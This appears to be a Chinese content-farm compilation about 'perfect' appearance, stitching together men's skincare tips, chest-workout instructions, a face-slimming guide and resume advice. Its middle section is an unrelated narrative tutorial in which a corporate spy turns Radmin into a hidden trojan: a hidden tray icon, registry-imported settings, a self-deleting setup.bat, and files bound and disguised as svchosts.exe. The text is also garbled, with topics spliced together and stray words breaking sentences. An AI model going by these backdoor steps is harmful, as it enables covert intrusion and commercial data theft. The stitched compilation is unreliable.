教你打造完美肌肤的方法

下面是小编整理的教你打造完美肌肤的方法，本文共5篇，欢迎阅读分享，希望对大家有所帮助。

紧急召集：紧肤水

这是一件非常适合男士使用的产品。毛孔粗大的油油男，使用紧肤水时可以帮助清除表皮残余油脂、收敛毛孔并保持肌肤的PH值呈弱酸性；干干男则能因为紧肤水中的保湿因素，而达到使肌肤柔软的功效。

剃须时，胡须部肌肤总会有所损伤，因此，紧肤水在剃须后使用，能让胡须部皮肤毛孔收缩，感觉会非常舒服。除了舒服，它也能帮助胡须部肌肤消炎，避免每天重复的剃须损伤给皮肤带来感染。

使用时，只要把紧肤水倒在手心上，用指腹以向上、向外的手法，轻轻拍满全脸（避开眼睛），直到吸收就可以了。

迅速清洁：T字部位

有些男人不习惯用洁面产品，但实际上，油油男的T字部位是「污染」的“重灾区”，每天分泌的大量油脂物堆积在油光光的鼻子两边，时间久了，就有了所谓的酒糟鼻。所以，每天洗脸时要用温水和洁面产品。

要选一款能产生丰富泡沫的洁面产品。一般的洗面奶都呈乳液状，其有效的清洁成分没有办法直接发挥出来。所以，需要先取适量洗面奶于手掌心，然后用另一只手按同一方向打圈，揉搓出丰富的泡沫，再把泡沫抹在脸上，以打圈的方式进行清洁并按摩脸部，这样才能起到好的洁面效果。在额头、两侧鼻翼和下巴部位做些轻轻的按摩，以旋转的方式，由下而上、由内往外地打螺旋，诱出油脂，再用清水洗干净。

定期检测：去角质

男性的角质层天生就比女性厚，不将角质层定期除去，表皮就会增厚，进而造成皮脂腺、汗腺阻塞，皮肤呼吸不畅，久而久之，脸上就会不干不净地出现很多问题。

每天洗脸时使用洁面产品，再加上定期除角质，可以帮助肌肤代谢。而且只要在洗脸后，补充肌肤水分，便可以保护肌肤不受外来刺激与伤害，可以稳定皮肤微酸性保护膜，保持肌肤健康。所以每周用去角质霜或磨砂膏做一次认真的清洁，用力量比较轻的中指和无名指轻轻按摩，清除表皮过盛的油脂和老化的角质细胞，皮肤会明显变得干净有光泽。

持续维护：护肤产品

男性的皮肤相比较不容易受到刺激，或受到的刺激较少，不少人以为这样的肌肤随便使用什么护肤产品都是可以的。其实不然。男生皮肤油脂分泌本来就比女生多，所以，最好选择那些清爽、干净、利落、不要太油腻的基础护肤产品。

男士护肤品必须以自己的肤质为基础，选择具有高渗透力、质地轻薄，包装设计上着重方便、快速的机能性需求（2～4件产品即可），再以喜好为辅，选择造型独特，香味淡雅或不含香料的产品，在简化的程序中，轻松打造100分男人。

完美事业线不用羡慕，你也可以有，快来一起学习如何打造完美事业线吧！

蝴蝶机夹胸

蝴蝶机夹胸的好处是加在胸肌上的张力恒定，不会因手臂位置的变化而变化。由于可采劝桥”式动作，并使双肘相触，故动作幅度可更大，安全性更好。不仅中下胸缝（平卧哑铃飞鸟的主要刺激区域），对整个胸缝都有很强的刺激作用，且可通过变换握把形式着重刺激胸缝上部。

正确的动作是：坐于凳上，手握把手，肘弯抵住档板。如觉坐的位置偏高或偏低，可调节坐凳的高度。动作幅度可通过上面两侧的半月形板的孔位调节。采用“桥”式动作，即只将上背贴在靠板上。打开时充分吸气、挺胸，双肩竭力后展，注意力完全集中于胸缝。通过控制，使胸部肌肉充分伸展。如对镜练，应注意观察胸肌的伸展，这样可以更好地集中注意力。合拢时双肘档板应相触，并略做停顿，进行顶峰收缩1～2秒钟。这时感觉会更费力，不像哑铃相触时更省力。只能通过尽力收紧胸肌，或相距少许距离即分开（不等胳膊与身体平面呈垂直状态）来弥补张力的流失。次数为8～15次/组，逐降重量做3～5组。

为了更好地刺激上胸缝，可以变换一下握把方式：双臂如侧平举状伸直，拳眼向前，以腕部或小臂（以手臂长短定）抵住档板做夹胸动作。由于双臂可以交错，动作幅度也很大。这个动作的特点是通过充分挤压上胸部，使两侧胸及立”起来，这当然是我们非常想要的结果。做3～5组，每组8～15次。

仰卧哑铃飞鸟

仰卧窄凳（宽20～25厘米）上，双手持铃，小臂与大臂呈135度左右的夹角，动作过程中不要为了助力而勾起颈部使头离开凳面。

下放哑铃时注意力集中在胸缝处，靠胸肌的张力控制住哑铃缓慢下放，同时充分吸气、挺胸，幅度要完全到位。上举时要靠胸肌的收缩带动双臂向上环抱，直至哑铃相触，这样可避免肩背过分参与用力。为了使动作更加准确，可想像去抱一个大的啤酒桶。

该动作除了小臂与大臂之间保持135度的夹角外，整个臂形应撑圆，手腕略内收，形若环抱。如果仅以手臂紧张僵硬地勾住哑铃，发力就很容易以肩部为起动点，虽然看起来是在努力做飞鸟动作，其实是“貌合神离’，主要锻炼的是肩部三角肌前束，对胸肌中缝部的作用很小。

为了充分牵拉胸肌纤维，采用的重量也要适度，以8～15次/组为宜。第一组应为15次左右，然后做3组10～12次，最后一组可降至8次，一共完成5组左右。飞鸟练习有别于卧推，卧推可在多组训练后将次数降至1～3次，效果仍很好。飞鸟则需要以一定的次数来累积刺激中缝肌肉，过重的负荷既影响动作幅度、拉伸的效果，又容易对肩肘部造成伤害（6次以内职业运动员也很少采用，而且支撑困难，有一定的危险）。

训练中有人喜欢勾住颈部，将头抬离凳面助力。这是一种很不好的习惯。抬头必然窝肩做动作，不利于充分吸气、挺胸。窝肩发力主要是肩背部，对胸部几乎没什么锻炼作用。为了纠正这一错误，可先降低重量，将次数定在12次左右，刻意体验一下正确的发力方式，待动作定型后再逐渐增重。

有一次，Cytkk成功取得了北京某广告公司创意部门计算机的Shell，准备窃取某个重要商业资料，在搜寻到的一份项目进度报告书中，他发现原本需要的创意设计被推迟到两天后由设计部门提交。Cytkk只得想办法在此台计算机上留下后门，以待两天后重回旧地守株待兔……

完美后门

因为这是笔大买卖，所以不容有闪失。作为商业间谍的Cytkk知道，信誉非常重要。

凭借着职业的敏锐感，Cytkk开始飞快思索后门的“人选”。普通的木马程序当然是不能用的，因为防病毒软件可不是吃素的……正在难于抉择之际，一款商业软件的名字跃然闪现在Cytkk的脑海——Radmin！一款商业化的远程控制软件。

既然Radmin有着商业软件的外衣，那自然杀毒软件也就不会与它为难！但Radmin虽说不会被查杀，但却有着先天的不足——服务端运行后在任务栏有图标显示，且服务端由3个文件组成（1个EXE文件，2个DLL文件），需要人工在服务端填写口令才可以正常连接并操控，而且最令人头痛的是服务端不具备自启动功能。

想到这些，Cytkk眉头微皱，但凭借着多年的技术敏锐感，一款改造后的Radmin服务端形象出现在脑海里，一个完美的木马后门：服务端由单一EXE文件组成，运行后无明显痕迹、无需人工干涉即可自动填写注册信息到注册表，添加自身到系统服务启动项……Cytkk就这么一边构想着，一边将鼠标移到了自己电脑的“开始”菜单上……

改造Radmin

1.Cytkk决定先去除Radmin在服务端运行后的任务栏标志。进入Radmin“服务端设置”中的“设置参数”（见图1），在“隐藏状态栏图标”前打上√，这样原本在服务端运行后会在状态栏有图标的弊端就剔除了。

2.然后根据自己的需要，更改连接端口号，设置成不常用的1986端口。其它地方可不作修改（值得注意的是“日志”选项，千万不要因为错选“保留记录文件”从而留下“罪证”），点击“确定”退出。

3.点选“设置密码”来设置连接时的密码******。

4.一切设置妥当后，Cytkk先在自己机子上安装了服务（因为Radmin工作原理的特殊性，配置信息并非记录在服务端程序内，而是在相关的注册表键值内）。待软件提示成功安装服务后，Cytkk打开注册表编辑器，找到：HKEY_LOCAL_MACHINESYSTEMRAdmin 键值，点击“导出注册表”并保存成单独的r_server.reg文件，用记事本打开后，发现其中内容如下（根据设置的不同，参数会略有出入）：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTE

MRAdmin]

[HKEY_LOCAL_MACHINESYSTE

MRAdminv2.0]

[HKEY_LOCAL_MACHINESYSTE

MRAdminv2.0Server]

[HKEY_LOCAL_MACHINESYSTE

MRAdminv2.0Serveriplist]

[HKEY_LOCAL_MACHINESYSTE

MRAdminv2.0ServerParameters]

“NTAuthEnabled”=hex:00,00,00,00

“Parameter”=hex:9c,ee,06,f2,9b,05,13,f8,6e,66,9a,06,00,24,5b,4b(这里是连接密码！其它信息不影响操作，所以不需要掌握)

“Port”=hex:c2,07,00,00(连接服务端时用的端口)

“Timeout”=hex:0a,00,00,00

************************

“LogFilePath”=“c:\logfile.txt”

“FilterIp”=hex:00,00,00,00

“DisableTrayIcon”=hex:01,00,00,00(01表示隐藏系统右下角的图标,如改成00图标就会被显示)

“AutoAllow”=hex:00,00,00,00

“AskUser”=hex:00,00,00,00

“EnableEventLog”=hex:00,00,00,00

5.最后Cytkk麻利地在桌面新建了一个setup.bat批处理文件，在里面添加如下脚本：

@echo off

*********************** （自动安装Radmin服务端）

regedit.exe -s %SystemRoot%system32r_server.reg >nul （自动将r_server.reg内的配置信息导入目标机注册表）

net start r_server >nul （启动r_server服务端服务）

*******************************（删除信息文件）

del %0

注意：文中代码后括号内的内容为注释，勿输入，

超级捆绑

由于Radmin并不是“木马型”监控软件，所以它的服务端是由r_server.exe、raddrv.dll、AdmDll.dll三个文件组成，而一般的“木马”服务端通常只有一个可执行文件。这是个比较麻烦的硬伤，但这难不倒Cytkk，他熟练地运行了一款名为“超级捆绑”的软件。

1.在界面点击右边白色图标，将Radmin服务端的三个文件添加进文件列表，捆绑方式设置成“按文件捆绑方式”，然后点击右边的“高级”按钮进入详细设置，在“常规”选项内（图2），将图标自定义为一个文本文件以增加更好的隐蔽性，文件大小则采用默认。

2．随后，Cytkk又将“属性”中的“只读”、“隐藏”和“系统”三项全部选中，这样就使捆绑后的文件更具隐蔽和安全性。

3．Cytkk点击“运行”标签，出现捆绑程序运行设置，将文件分解运行目录设置成 “在捆绑后的文件所在目录中运行”，窗口状态则设为“隐藏窗口”。

4．他将“参数”页面内的全部个性化设置选项前面的√取消。点击“确定”退回上级窗口，最后设置好捆绑文件输出路径。为了增强隐蔽性，可以将捆绑后的执行文件更名，Cytkk将它命名为svchosts.exe。

5．点击“合并”就完成了服务端的文件捆绑工作。现在的Radmin已经基本上从一款商业化的远程控制软件变成了一个不折不扣的木马了。

善后

到此，Cytkk认为整个改造工作差不多完成了，马上进行关键的收尾工作，即将编辑好的setup.bat以及最先导出的r_server.reg连同捆绑后的svchosts.exe这三个文件用WinRAR打包成自解压程序。

只需3招教你打造完美瓜子脸

长期嚼口香糖后，发现自己的咀嚼肌越来越大。本来尖尖的瓜子脸变成了国字型的方脸。那到底怎样才能把这个讨厌的咀嚼肌减掉，重拾之前的瓜子脸呢?

一、咀嚼肌形成原因

1、人体咀嚼肌包括咬肌、颞肌、翼内肌、翼外肌等，所以咬肌肥大的发生一般又认为与人咀嚼习惯和饮食习惯有关。如饮食中经常吃硬的食物或有吃零食、吃口香糖习惯有关。

2、咬肌肥大与遗传因素有关，事实上从临床上看确有家族性咬肌肥大的现象。

3、咬肌肥大的原因多伴有下颌角肥大、下颌角外翻等情况发生，所以临床上又将咬肌肥大称为下颌角肥大或咬肌良性肥大。

二、如何减咀嚼肌

方法一：敷脸法

早晚洗脸后，双手轻轻拍打或敲击脸部，待脸颊呈微红为止。此方法不但能促进脸部血液循环，使脸色变红润，还能达到修紧面部、突出轮廓的效果。晚上睡前将热毛巾敷在咬肌上5分钟，坚持两三个月会看出效果，这个方法不用花费金钱，只要持之以恒即可，值得一试。

方法二：按摩法

1、除了大拇指以外的其余四根手指靠拢，放在脸上大约是上下臼齿的位置，在脸上画圆，从内向外的方式，轻轻地拍打3-5圈，一边做完之后再换另一边进行拍打，重复5次。拍打时，嘴巴肌肉是放松的状态，所以会呈现是微微张开的样子。

2、在两颊的部位，用大拇指同样是由内往外用轻轻压迫的方式，也是画小圆圈，这个动作可以两颊一起做，画大约100-120下即可。

3、最后一个动作是用手掌并拢，一左一右地拍打脸颊肌肤40-50下。

方法三：脸部运动

首先将口香糖放入口中，先咀嚼一下，活动面部肌肉，然后当面部肌肉逐渐适应后，边嚼边往上提拉右嘴角，将口香糖移动到右脸颊内侧，保持嘴巴合拢右嘴角上提的姿势慢慢咀嚼口香糖10次后，用较快的速度有节奏地咀嚼20次，再左右互换。腹部怎样减肥咀嚼瘦脸操 轻松嚼出瓜子脸

注意事项：

1、咀嚼瘦脸操与平时随意咀嚼不同，必须令面部肌肉紧张起来，并充分活动每一块表情肌腹部

2、左右咀嚼的次数、力度、节奏都要相同，否则运动不均会导致左右脸颊不匀称哦!不少人习惯性用某一侧牙齿咀嚼，可以用这个方法来锻炼另一侧不常运动的面部肌肉腹部

3、想提高减肥效果还有一个诀窍，可以选择硬度稍大的口香糖，咀嚼的难度加大，肌肉的运动量也能提升哦

四个技巧教你打造完美简历

相信大家在面试的过程中都会发现，简历的好坏对我们是否成功拿到offer也起着决定性的作用。俗话说“简历就好比是你的第二张脸”，是公司hr除了你的身材相貌之外能够最直观了解到你的东西。那什么样的简历才能称之为完美简历呢？简历如何打造才能吸引hr的眼球呢？这些都是求职者在求职过程中非常关注的问题。

其实，要想让你的简历从众多求职者中脱颖而出很简单。无非就是通过一些技巧帮你跳出常规的圈子，从而做到与众多求职者的与众不同。但也就是这一点，大多数人都不敢去尝试，因为他们害怕自己会成为hr眼中的“特殊者”。所以，简历如何在hr面前做到吸引眼球又不标新立异也是一门学问。今天小编就带你解决这些问题，教你四个技巧打造出你的完美简历。

简历要真实

首先，简历的真实性是求职的第一要素。用人单位都注重诚信，切记不可在简历上弄虚作假，虚构自己从未有过的工作经历。一旦被用人单位查出来你虚构简历，这将会比你没有得到这份工作还要糟糕，就算你再优秀也不会继续录用你。

个人简介要清晰

简历当中最基本的部分就是个人简介，同时这也是公司hr了解你的第一步，简历中一个好的个人简介，可以在hr面前完成推销自己的第一步。所以，个人简介一定要清晰，通过你的文字让hr清楚地了解到你的个人信息。当你的个人简介中传递出了hr想要的信息，自然就会吸引他继续了解你，这样你的简历才有了意义。

工作经历在精不在多

你的.工作经历也是hr在鉴定你是否符合标准的重要因素。所以在你的工作经历中，叙述一定要详细，多去描述一些你在工作上遇到困难、克服困难的经历，这会增加hr对你的印象。而工作经历在一定程度上也代表着你的工作经验，所以工作经历要写的清晰明确，让hr从你得简历中获取详细信息。

简历内容要有针对性

公司每天都会有大量的简历投进来，而hr自然也就没时间一份一份的细看，这个时候，简历的内容具有针对性就显得尤其重要。适当地表现出你对这个职位的关注和兴趣，甚至是你在工作单位中的目标和需求。hr看到你的这些内容，也会第一时间表现出对你是否感兴趣，这样你的简历自然也就起到了应有的作用。

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